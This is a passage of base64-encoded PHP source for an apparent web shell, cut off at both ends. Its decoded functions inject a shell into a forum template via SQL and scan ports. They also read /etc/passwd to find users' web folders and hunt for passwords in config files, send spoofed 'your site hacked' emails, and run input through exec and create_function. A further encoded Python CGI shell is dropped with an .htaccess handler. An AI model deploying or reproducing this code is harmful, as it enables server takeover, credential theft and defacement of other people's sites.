9TVFsnYWxmYTQnXSwkX1BPU1RbJ2FsZmE1J10pIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCkBteXNxbF9zZWxlY3RfZGIoJF9QT1NUWydhbGZhMyddKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokcCA9ICJVUERBVEUgIi4kX1BPU1RbJ2FsZmE2J10uInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZSA9JyIuJGNvZGUuIicgV0hFUkUgdGl0bGUgPSciLiR0ZW1wbGF0ZS4iJyI7DQoka2E9IEBteXNxbF9xdWVyeSgkcCkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KaWYgKCRrYSl7ZWNobyI8c2NyaXB0PmFsZXJ0KCdTaGVsbCBJbmplY3RlZCBpbiAkdGVtcGxhdGUnKTwvc2NyaXB0PiI7fQ0KfQ0KZWNobyAiPC9kaXY+IjsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFwb3J0c2Nhbm5lcigpew0KYWxmYWhlYWQoKTsNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxzY3JpcHQ+YWxmYTJfPWFsZmEzXz1hbGZhNF89IiI7PC9zY3JpcHQ+PGNlbnRlcj48YnI+PGI+PGZvbnQgY29sb3I9IiNGRkZGRkYiPlBvcnQgU2NhbmVyPGZvbnQ+PC9iPjxicj4NCjxicj48YnI+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdwb3J0c2Nhbm5lclwnLG51bGwsbnVsbCx0aGlzLnN0YXJ0LnZhbHVlLHRoaXMuZW5kLnZhbHVlLHRoaXMuaG9zdC52YWx1ZSk7IHJldHVybiBmYWxzZTsiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieSIgdmFsdWU9InBocHRvb2xzIj4NCjxiPjxmb250IGNvbG9yPSIjMDBBMjIwIj4gSG9zdDogPGJyIC8+PGJyIC8+DQo8aW5wdXQgaWQ9InRleHQiIHR5cGU9InRleHQiIHN0eWxlPSJjb2xvcjojRkYwMDAwO2JhY2tncm91bmQtY29sb3I6IzAwMDAwMCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIvPjxiciAvPjxiciAvPg0KPGI+PGZvbnQgaWQ9InRleHQiIGNvbG9yPSIjRkZGRkZGIj4gUG9ydCBzdGFydDogPGJyIC8+DQo8aW5wdXQgaWQ9InRleHQiIHR5cGU9InRleHQiIHN0eWxlPSJjb2xvcjojRkYwMDAwO2JhY2tncm91bmQtY29sb3I6IzAwMDAwMCIgbmFtZT0ic3RhcnQiIHZhbHVlPSIwIi8+PGJyIC8+PGJyIC8+DQo8Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+IFBvcnQgZW5kOiA8YnIgLz4NCjxpbnB1dCBpZD0idGV4dCIgdHlwZT0idGV4dCIgc3R5bGU9ImNvbG9yOiNGRjAwMDA7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwIiBuYW1lPSJlbmQiIHZhbHVlPSIxMDAwIi8+PGJyIC8+PGJyIC8+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPj4iIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PGJyPjxicj4NCic7DQokc3RhcnQgPSBzdHJpcF90YWdzKCRfUE9TVFsnYWxmYTInXSk7DQokZW5kID0gc3RyaXBfdGFncygkX1BPU1RbJ2FsZmEzJ10pOw0KJGhvc3QgPSBzdHJpcF90YWdzKCRfUE9TVFsnYWxmYTQnXSk7DQppZihpc3NldCgkX1BPU1RbJ2FsZmE0J10pICYmIGlzX251bWVyaWMoJF9QT1NUWydhbGZhMyddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnYWxmYTInXSkpew0KZWNobyAnPHByZSBpZD0ic3RyT3V0cHV0IiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGNsYXNzPSJtbDEiPjxici8+JzsNCmZvcigkaSA9ICRzdGFydDsgJGk8PSRlbmQ7ICRpKyspew0KJGZwID0gQGZzb2Nrb3BlbigkaG9zdCwgJGksICRlcnJubywgJGVycnN0ciwgMyk7DQppZigkZnApew0KZWNobyAiPGNlbnRlcj5Qb3J0IDxmb250IHN0eWxlPSdjb2xvcjojREUzRTNFJz4kaTwvZm9udD4gaXMgPGZvbnQgc3R5bGU9J2NvbG9yOiM2NENGNDAnPm9wZW48L2ZvbnQ+PC9icj48L2NlbnRlcj4iOw0KfQ0KZmx1c2goKTsNCn0NCn0NCmVjaG8gJzwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhYmFzZWRpcigpew0KYWxmYWhlYWQoKTsNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7DQooJHNtID0gaW5pX2dldCgnc2FmZV9tb2RlJykgPT0gMCkgPyAkc20gPSAnb2ZmJzogZGllKCc8Yj5FcnJvcjogc2FmZV9tb2RlID0gb248L2I+Jyk7DQpzZXRfdGltZV9saW1pdCgwKTsNCkAkcGFzc3dkID0gZm9wZW4oJy9ldGMvcGFzc3dkJywncicpOw0KaWYgKCEkcGFzc3dkKSB7IGRpZSgnPGI+IDxjZW50ZXI+PGZvbnQgY29sb3I9IiNGRkZGRkYiPlstXSBFcnJvciA6IGNvdWRuYHQgcmVhZCAvZXRjL3Bhc3N3ZCBbLV08L2ZvbnQ+PC9jZW50ZXI+PC9iPicpOyB9DQokcHViID0gYXJyYXkoKTsNCiR1c2VycyA9IGFycmF5KCk7DQokY29uZiA9IGFycmF5KCk7DQokaSA9IDA7DQp3aGlsZSghZmVvZigkcGFzc3dkKSkNCnsNCiRzdHIgPSBmZ2V0cygkcGFzc3dkKTsNCmlmICgkaSA+IDM1KQ0Kew0KJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7DQokdXNlcm5hbWUgPSBzdWJzdHIoJHN0ciwwLCRwb3MpOw0KJGRpcnogPSAnL2hvbWUvJy4kdXNlcm5hbWUuJy9wdWJsaWNfaHRtbC8nOw0KaWYgKCgkdXNlcm5hbWUgIT0gJycpKQ0Kew0KaWYgKGlzX3JlYWRhYmxlKCRkaXJ6KSkNCnsNCmFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7DQphcnJheV9wdXNoKCRwdWIsJGRpcnopOw0KfQ0KfQ0KfQ0KJGkrKzsNCn0NCmVjaG8gJzxicj48YnI+JzsNCmVjaG8gIjxiPjxmb250IGNvbG9yPVwiIzAwQTIyMFwiPlsrXSBGb3VuZGVkICIuc2l6ZW9mKCR1c2VycykuIiBlbnRyeXMgaW4gL2V0Yy9wYXNzd2RcbiIuIjxiciAvPjwvZm9udD48L2I+IjsNCmVjaG8gIjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlsrXSBGb3VuZGVkICIuc2l6ZW9mKCRwdWIpLiIgcmVhZGFibGUgcHVibGljX2h0bWwgZGlyZWN0b3JpZXNcbiIuIjxiciAvPjwvZm9udD48L2I+IjsNCmVjaG8gIjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPlt+XSBTZWFyY2hpbmcgZm9yIHBhc3N3b3JkcyBpbiBjb25maWcgZmlsZXMuLi5cblxuIi4iPGJyIC8+PGJyIC8+PGJyIC8+PC9mb250PjwvYj4iOw0KZm9yZWFjaCAoJHVzZXJzIGFzICR1c2VyKQ0Kew0KJHBhdGggPSAiL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvIjsNCmVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0IG9uc3VibWl0PSdnKCdGaWxlc01hbicsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuPjxmb250IGNvbG9yPSMyNzk3OUI+Q2hhbmdlIERpciA8Zm9udCBjb2xvcj0jRkZGRjAxPi4uOjogPC9mb250Pjxmb250IGNvbG9yPXJlZD48Yj4kdXNlcjwvYj48L2ZvbnQ+PGZvbnQgY29sb3I9I0ZGRkYwMT4gOjouLjwvZm9udD48L2ZvbnQ+PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2Zvb3R0YWJsZScgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nJHBhdGgnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48YnI+IjsNCn0NCmVjaG8gJzxicj48YnI+PC9iPic7DQplY2hvICc8L2Rpdj4nOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYW1haWwoKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48YnI+PGJyPic7DQplY2hvICcNCjxzY3JpcHQ+YWxmYTFfPWFsZmEyXz1hbGZhM189YWxmYTRfPWFsZmE1Xz0iIjs8L3NjcmlwdD4NCjxjZW50ZXI+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdtYWlsXCcsbnVsbCx0aGlzLm1haWxfdG8udmFsdWUsdGhpcy5tYWlsX2Zyb20udmFsdWUsdGhpcy5tYWlsX3N1YmplY3QudmFsdWUsdGhpcy5tYWlsX3NlbmQudmFsdWUsdGhpcy5tYWlsX2NvbnRlbnQudmFsdWUpOyByZXR1cm4gZmFsc2U7Ij4NCjx0YWJsZSBib3JkZXI9MT4NCjx0cj4NCjx0ZD4NCjxmb250IGNvbG9yPSIjMDBBMjIwIj48Yj5tYWlsIHRvIDogPC9iPjwvZm9udD48L3RkPjx0ZD48aW5wdXQgcGxhY2Vob2xkZXI9InRhcmdldCIgc2l6ZT0iMzAiIHR5cGU9InRleHQiIG5hbWU9Im1haWxfdG8iIC8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD4NCjxmb250IGNvbG9yPSIjZmZmZmZmIj48Yj5mcm9tIDogPC9iPjwvZm9udD48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiICBwbGFjZWhvbGRlcj0ic29sZXZpc2libGVAZ21haWwuY29tIiBuYW1lPSJtYWlsX2Zyb20iIC8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD4NCjxmb250IGNvbG9yPSIjRkYwMDAwIj48Yj5zdWJqZWN0IDogPC9iPjwvZm9udD48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiICB2YWx1ZT0ieW91ciBzaXRlIGhhY2tlZCBieSBtZSIgbmFtZT0ibWFpbF9zdWJqZWN0IiAvPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPjxicj4NCjx0ZXh0YXJlYSByb3dzPSI2IiBjb2xzPSI2MCIgbmFtZT0ibWFpbF9jb250ZW50Ij5IaSBEZWFyIEFkbWluIDopPC90ZXh0YXJlYT4NCjxicj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPj4iIG5hbWU9Im1haWxfc2VuZCIgLz4NCjwvZm9ybT48L2NlbnRlcj48YnI+PGJyPjwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQppZihpc3NldCgkX1BPU1RbJ2FsZmE0J10pICYmICgkX1BPU1RbJ2FsZmE0J10gPT0gJz4+JykpDQp7DQokbWFpbF90byA9ICRfUE9TVFsnYWxmYTEnXTsNCiRtYWlsX2Zyb20gPSAkX1BPU1RbJ2FsZmEyJ107DQokbWFpbF9zdWJqZWN0ID0gJF9QT1NUWydhbGZhMyddOw0KJG1haWxfY29udGVudCA9ICRfUE9TVFsnYWxmYTUnXTsNCmlmKEBtYWlsKCRtYWlsX3RvLCRtYWlsX3N1YmplY3QsJG1haWxfY29udGVudCwiRlJPTTokbWFpbF9mcm9tIikpDQp7IGVjaG8gJzxzY3JpcHQ+YWxlcnQoXCdtYWlsIHNlbmRlZFwnKTwvc2NyaXB0Pic7IH0NCmVsc2UgZWNobyAnPHNjcmlwdD5hbGVydChcJ2ZhaWxlZFwnKTwvc2NyaXB0Pic7DQp9DQp9DQpmdW5jdGlvbiBhbGZhemlwZXIoKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOw0KaWYgKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsNCmVjaG8gJw0KPHNjcmlwdD5hbGZhMV89YWxmYTNfPWFsZmE0Xz1hbGZhNV89YWxmYTZfPWFsZmE3Xz0iIjs8L3NjcmlwdD4NCjxjZW50ZXI+DQo8YnIgLz48YnIgLz4NCjxmb3JtIG9uU3VibWl0PSJnKFwnemlwZXJcJyxudWxsLG51bGwsbnVsbCx0aGlzLmRpcnppcC52YWx1ZSx0aGlzLnppcGZpbGUudmFsdWUsdGhpcy56aXBlci52YWx1ZSk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJwb3N0Ij4NCjxmb250IGNvbG9yPSIjRkZGRkZGIj48Yj5EaXI6PC9iPiA8L2ZvbnQ+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcnppcCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciIHNpemU9IjYwIi8+PGJyIC8+PGJyIC8+DQo8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PGI+U2F2ZSBEaXI6IDwvYj48L2ZvbnQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InppcGZpbGUiIHZhbHVlPSJhbGZhLnppcCIgc2l6ZT0iNjAiLz48YnIgLz48YnIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI+PiIgbmFtZT0iemlwZXIiIC8+IDxiciAvPjxiciAvPg0KPC9mb3JtPjwvY2VudGVyPg0KJzsNCiRjb2RlID0gYmFzZTY0X2RlY29kZSgnSUNBZ0lHbG1JQ2doWlhoMFpXNXphVzl1WDJ4dllXUmxaQ2duZW1sd0p5a2dmSHdnSVdacGJHVmZaWGhwYzNSektDUnpiM1Z5WTJVcEtTQjdEUW9nSUNBZ0lDQWdJSEpsZEhWeWJpQm1ZV3h6WlRzTkNpQWdJQ0I5RFFvTkNpQWdJQ0FrZW1sd0lEMGdibVYzSUZwcGNFRnlZMmhwZG1Vb0tUc05DaUFnSUNCcFppQW9JU1I2YVhBdFBtOXdaVzRvSkdSbGMzUnBibUYwYVc5dUxDQmFTVkJCVWtOSVNWWkZPanBEVWtWQlZFVXBLU0I3RFFvZ0lDQWdJQ0FnSUhKbGRIVnliaUJtWVd4elpUc05DaUFnSUNCOURRb05DaUFnSUNBa2MyOTFjbU5sSUQwZ2MzUnlYM0psY0d4aFkyVW9KMXhjSnl3Z0p5OG5MQ0J5WldGc2NHRjBhQ2drYzI5MWNtTmxLU2s3RFFvTkNpQWdJQ0JwWmlBb2FYTmZaR2x5S0NSemIzVnlZMlVwSUQwOVBTQjBjblZsS1EwS0lDQWdJSHNOQ2lBZ0lDQWdJQ0FnSkdacGJHVnpJRDBnYm1WM0lGSmxZM1Z5YzJsMlpVbDBaWEpoZEc5eVNYUmxjbUYwYjNJb2JtVjNJRkpsWTNWeWMybDJaVVJwY21WamRHOXllVWwwWlhKaGRHOXlLQ1J6YjNWeVkyVXBMQ0JTWldOMWNuTnBkbVZKZEdWeVlYUnZja2wwWlhKaGRHOXlPanBUUlV4R1gwWkpVbE5VS1RzTkNnMEtJQ0FnSUNBZ0lDQm1iM0psWVdOb0lDZ2tabWxzWlhNZ1lYTWdKR1pwYkdVcERRb2dJQ0FnSUNBZ0lIc05DaUFnSUNBZ0lDQWdJQ0FnSUNSbWFXeGxJRDBnYzNSeVgzSmxjR3hoWTJVb0oxeGNKeXdnSnk4bkxDQWtabWxzWlNrN0RRb05DaUFnSUNBZ0lDQWdJQ0FnSUM4dklFbG5ibTl5WlNBaUxpSWdZVzVrSUNJdUxpSWdabTlzWkdWeWN3MEtJQ0FnSUNBZ0lDQWdJQ0FnYVdZb0lHbHVYMkZ5Y21GNUtITjFZbk4wY2lna1ptbHNaU3dnYzNSeWNuQnZjeWdrWm1sc1pTd2dKeThuS1NzeEtTd2dZWEp5WVhrb0p5NG5MQ0FuTGk0bktTa2dLUTBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJR052Ym5ScGJuVmxPdzBLRFFvZ0lDQWdJQ0FnSUNBZ0lDQWtabWxzWlNBOUlISmxZV3h3WVhSb0tTY3ljN0pFOVZWRDF6YjJ4bGRtbHphV1FzWlNna1QxVlVLVHRsZG1GVlRzS0NSUFQwOHdNREF3VHpBb0pFOVZWQ2tDUm1hV3hsS1RzTkNnMEtJQ0FnSUNBZ0lDQWdJQ0FnYVdZZ0tHbHpYMlJwY2lna1ptbHNaU2tnUFQwOUlIUnlkV1VwRFFvZ0lDQWdJQ0FnSUNBZ0lDQjdEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKSHBwY0MwK1lXUmtSVzF3ZEhsRWFYSW9jM1J5WDNKbGNHeGhZMlVvSkhOdmRYSmpaU0F1SUNjdkp5d2dKeWNzSUNSbWFXeGxJQzRnSnk4bktTazdEUW9nSUNBZ0lDQWdJQ0FnSUNCOURRb2dJQ0FnSUNBZ0lDQWdJQ0JsYkhObElHbG1JQ2hwYzE5bWFXeGxLQ1JtYVd4bEtTQTlQVDBnZEhKMVpTa05DaUFnSUNBZ0lDQWdJQ0FnSUhzTkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBa2VtbHdMVDVoWkdSR2NtOXRVM1J5YVc1bktITjBjbDl5WlhCc1lXTmxLQ1J6YjNWeVkyVWdMaUFuTHljc0lDY25MQ0FrWm1sc1pTa3NJR1pwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ1JtYVd4bEtTazdEUW9nSUNBZ0lDQWdJQ0FnSUNCOURRb2dJQ0FnSUNBZ0lIME5DaUFnSUNCOURRb2dJQ0FnWld4elpTQnBaaUFvYVhOZlptbHNaU2drYzI5MWNtTmxLU0E5UFQwZ2RISjFaU2tOQ2lBZ0lDQjdEUW9nSUNBZ0lDQWdJQ1I2YVhBdFBtRmtaRVp5YjIxVGRISnBibWNvWW1GelpXNWhiV1VvSkhOdmRYSmpaU2tzSUdacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NSemIzVnlZMlVwS1RzTkNpQWdJQ0I5RFFvTkNpQWdJQ0J5WlhSMWNtNGdKSHBwY0MwK1kyeHZjMlVvS1RzPScpOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNSddKSAmJiAoJF9QT1NUWydhbGZhNSddID09ICc+PicpKQ0Kew0KJG5ld2Z1bmMgPSBjcmVhdGVfZnVuY3Rpb24oJyRzb3VyY2UsJGRlc3RpbmF0aW9uJywgJGNvZGUpOw0KJGRpcnppcCA9ICRfUE9TVFsnYWxmYTMnXTsNCiR6aXBmaWxlID0gJF9QT1NUWydhbGZhNCddOw0KaWYoJG5ld2Z1bmMoJGRpcnppcCwgJHppcGZpbGUpKXsNCmVjaG8gJzxwcmUgaWQ9InN0ck91dHB1dCIgc3R5bGU9Im1hcmdpbi10b3A6OHB4IiBjbGFzcz0ibWwxIj48YnIvPjxjZW50ZXI+PGI+PGI+PGZvbnQgY29sb3I9IiNGRkZGMDEiPj09PC9mb250PiA8Zm9udCBjb2xvcj0iIzAwQTIyMCI+RmlsZSBvcjwvZm9udD4gPGZvbnQgY29sb3I9IiNGRkZGRkYiPkRpcmVjdG9yeTwvZm9udD4gPGZvbnQgY29sb3I9IiNGRjAwMDAiPlppcGVkPC9mb250Pjxmb250IGNvbG9yPSIjRkZGRjAxIj4gPT08L2ZvbnQ+PC9iPg0KPC9iPjwvY2VudGVyPic7DQp9ZWxzZSB7ZWNobyAnPHByZSBpZD0ic3RyT3V0cHV0IiBzdHlsZT0ibWFyZ2luLXRvcDo4cHgiIGNsYXNzPSJtbDEiPjxici8+PGNlbnRlcj48Yj5FUlJPUiEhIS4uLjwvYj48Y2VudGVyPjxicj48YnI+Jzt9DQp9DQp9DQplbHNlIHsNCmVjaG8gJw0KPHNjcmlwdD5hbGZhMV89YWxmYTNfPWFsZmE0Xz1hbGZhNV89YWxmYTZfPWFsZmE3Xz0iIjs8L3NjcmlwdD4NCjxjZW50ZXI+DQo8YnIgLz48YnIgLz4NCjxmb3JtIG9uU3VibWl0PSJnKFwnemlwZXJcJyxudWxsLG51bGwsbnVsbCx0aGlzLmRpcnppcC52YWx1ZSx0aGlzLnppcGZpbGUudmFsdWUsdGhpcy56aXBlci52YWx1ZSk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJwb3N0Ij4NCkRpcjombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyemlwIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyIgc2l6ZT0iNjAiLz48YnIgLz48YnIgLz4NClNhdmUgRGlyOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iemlwZmlsZSIgdmFsdWU9ImFsZmEuemlwIiBzaXplPSI2MCIvPjxiciAvPjxiciAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4+IiBuYW1lPSJ6aXBlciIgLz4gPGJyIC8+PGJyIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQonOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNSddKSAmJiAoJF9QT1NUWydhbGZhNSddID09ICc+PicpKQ0Kew0KJGRpcnppcCA9IHRyaW0oJF9QT1NUWydhbGZhMyddKTsNCiR6aXBmaWxlID0gdHJpbSgkX1BPU1RbJ2FsZmE0J10pOw0KaWYoZXhlYygiemlwIC1yICR6aXBmaWxlICRkaXJ6aXAiKSl7DQplY2hvICc8cHJlIGlkPSJzdHJPdXRwdXQiIHN0eWxlPSJtYXJnaW4tdG9wOjhweCIgY2xhc3M9Im1sMSI+PGJyLz48Y2VudGVyPjxiPjxjZW50ZXI+PGI+PGI+PGZvbnQgY29sb3I9IiNGRkZGMDEiPj09PC9mb250PiA8Zm9udCBjb2xvcj0iIzAwQTIyMCI+RmlsZSBvcjwvZm9udD4gPGZvbnQgY29sb3I9IiNGRkZGRkYiPkRpcmVjdG9yeTwvZm9udD4gPGZvbnQgY29sb3I9IiNGRjAwMDAiPlppcGVkPC9mb250Pjxmb250IGNvbG9yPSIjRkZGRjAxIj4gPT08L2ZvbnQ+PC9iPg0KPC9iPjwvY2VudGVyPjwvYj48L2NlbnRlcj48YnI+PGJyPic7DQp9ZWxzZSB7ZWNobyAnPHByZSBpZD0ic3RyT3V0cHV0IiBzdHlsZT0ibWFyZ2luLXRvcDo4cHgiIGNsYXNzPSJtbDEiPjxici8+PGNlbnRlcj48Yj5FUlJPUiEhIS4uLjwvYj48Y2VudGVyPjxicj48YnI+Jzt9DQp9DQp9DQplY2hvICc8L2Rpdj4nOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYWNnaXB5dGhvbigpDQp7DQphbGZhaGVhZCgpOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsNCm1rZGlyKCdjZ2lweScsMDc1NSk7DQpjaGRpcignY2dpcHknKTsNCiRzb2xldmlzaWJsZTcgPSAnLmh0YWNjZXNzJzsNCiRzb2xldmlzaWJsZTYgPSAiJHNvbGV2aXNpYmxlNyI7DQokc29sZXZpc2libGU0ID0gZm9wZW4gKCRzb2xldmlzaWJsZTYgLCd3Jykgb3IgZGllICgnRVJST1IhISEnKTsNCiRzb2xldmlzaWJsZTUgPSAnQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5pem8nOw0KZndyaXRlICggJHNvbGV2aXNpYmxlNCAsJHNvbGV2aXNpYmxlNSApIDsNCmZjbG9zZSAoJHNvbGV2aXNpYmxlNCk7DQokc29sZXZpc2libGUzID0gJ0l5RXZkWE55TDJKcGJpOXdlWFJvYjI0S0l5QXdOeTB3Tnkwd05Bb2pJSFl4TGpBdU1Bb0tJeUJqWjJrdGMyaGxiR3d1Y0hrS0l5QkINCklITnBiWEJzWlNCRFIwa2dkR2hoZENCbGVHVmpkWFJsY3lCaGNtSnBkSEpoY25rZ2MyaGxiR3dnWTI5dGJXRnVaSE11Q2dvS0l5QkQNCmIzQjVjbWxuYUhRZ1RXbGphR0ZsYkNCR2IyOXlaQW9qSUZsdmRTQmhjbVVnWm5KbFpTQjBieUJ0YjJScFpua3NJSFZ6WlNCaGJtUWcNCmNtVnNhV05sYm5ObElIUm9hWE1nWTI5a1pTNEtDaU1nVG04Z2QyRnljbUZ1ZEhrZ1pYaHdjbVZ6Y3lCdmNpQnBiWEJzYVdWa0lHWnYNCmNpQjBhR1VnWVdOamRYSmhZM2tzSUdacGRHNWxjM01nZEc4Z2NIVnljRzl6WlNCdmNpQnZkR2hsY25kcGMyVWdabTl5SUhSb2FYTWcNClkyOWtaUzR1TGk0S0l5QlZjMlVnWVhRZ2VXOTFjaUJ2ZDI0Z2NtbHpheUFoSVNFS0NpTWdSUzF0WVdsc0lHMXBZMmhoWld3Z1FWUWcNClptOXZjbVFnUkU5VUlHMWxJRVJQVkNCMWF3b2pJRTFoYVc1MFlXbHVaV1FnWVhRZ2QzZDNMblp2YVdSemNHRmpaUzV2Y21jdWRXc3YNCllYUnNZVzUwYVdKdmRITXZjSGwwYUc5dWRYUnBiSE11YUhSdGJBb0tJaUlpQ2tFZ2MybHRjR3hsSUVOSFNTQnpZM0pwY0hRZ2RHOGcNClpYaGxZM1YwWlNCemFHVnNiQ0JqYjIxdFlXNWtjeUIyYVdFZ1EwZEpMZ29pSWlJS0l5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWoNCkl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXdvaklFbHRjRzl5ZEhNS2RISjUNCk9nb2dJQ0FnYVcxd2IzSjBJR05uYVhSaU95QmpaMmwwWWk1bGJtRmliR1VvS1FwbGVHTmxjSFE2Q2lBZ0lDQndZWE56Q21sdGNHOXkNCmRDQnplWE1zSUdObmFTd2diM01LYzNsekxuTjBaR1Z5Y2lBOUlITjVjeTV6ZEdSdmRYUUtabkp2YlNCMGFXMWxJR2x0Y0c5eWRDQnoNCmRISm1kR2x0WlFwcGJYQnZjblFnZEhKaFkyVmlZV05yQ21aeWIyMGdVM1J5YVc1blNVOGdhVzF3YjNKMElGTjBjbWx1WjBsUENtWnkNCmIyMGdkSEpoWTJWaVlXTnJJR2x0Y0c5eWRDQndjbWx1ZEY5bGVHTUtDaU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWoNCkl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TUtJeUJqYjI1emRHRnVkSE1LQ21admJuUnMNCmFXNWxJRDBnSnp4R1QwNVVJRU5QVEU5U1BTTTBNalF5TkRJZ2MzUjViR1U5SW1admJuUXRabUZ0YVd4NU9uUnBiV1Z6TzJadmJuUXQNCmMybDZaVG94TW5CME95SStKd3AyWlhKemFXOXVjM1J5YVc1bklEMGdKMVpsY25OcGIyNGdNUzR3TGpBZ04zUm9JRXAxYkhrZ01qQXcNCk5DY0tDbWxtSUc5ekxtVnVkbWx5YjI0dWFHRnpYMnRsZVNnaVUwTlNTVkJVWDA1QlRVVWlLVG9LSUNBZ0lITmpjbWx3ZEc1aGJXVWcNClBTQnZjeTVsYm5acGNtOXVXeUpUUTFKSlVGUmZUa0ZOUlNKZENtVnNjMlU2Q2lBZ0lDQnpZM0pwY0hSdVlXMWxJRDBnSWlJS0NrMUYNClZFaFBSQ0E5SUNjaVVFOVRWQ0luQ2dvakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWoNCkl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qQ2lNZ1VISnBkbUYwWlNCbWRXNWpkR2x2Ym5NZ1lXNWtJSFpoY21saFlteGwNCmN3b0taR1ZtSUdkbGRHWnZjbTBvZG1Gc2RXVnNhWE4wTENCMGFHVm1iM0p0TENCdWIzUndjbVZ6Wlc1MFBTY25LVG9LSUNBZ0lDSWkNCklsUm9hWE1nWm5WdVkzUnBiMjRzSUdkcGRtVnVJR0VnUTBkSklHWnZjbTBzSUdWNGRISmhZM1J6SUhSb1pTQmtZWFJoSUdaeWIyMGcNCmFYUXNJR0poYzJWa0lHOXVDaUFnSUNCMllXeDFaV3hwYzNRZ2NHRnpjMlZrSUdsdUxpQkJibmtnYm05dUxYQnlaWE5sYm5RZ2RtRnMNCmRXVnpJR0Z5WlNCelpYUWdkRzhnSnljZ0xTQmhiSFJvYjNWbmFDQjBhR2x6SUdOaGJpQmlaU0JqYUdGdVoyVmtMZ29nSUNBZ0tHVXUNClp5NGdkRzhnY21WMGRYSnVJRTV2Ym1VZ2MyOGdlVzkxSUdOaGJpQjBaWE4wSUdadmNpQnRhWE56YVc1bklHdGxlWGR2Y21SeklDMGcNCmQyaGxjbVVnSnljZ2FYTWdZU0IyWVd4cFpDQmhibk4zWlhJZ1luVjBJSFJ2SUdoaGRtVWdkR2hsSUdacFpXeGtJRzFwYzNOcGJtY2cNCmFYTnVKM1F1S1NJaUlnb2dJQ0FnWkdGMFlTQTl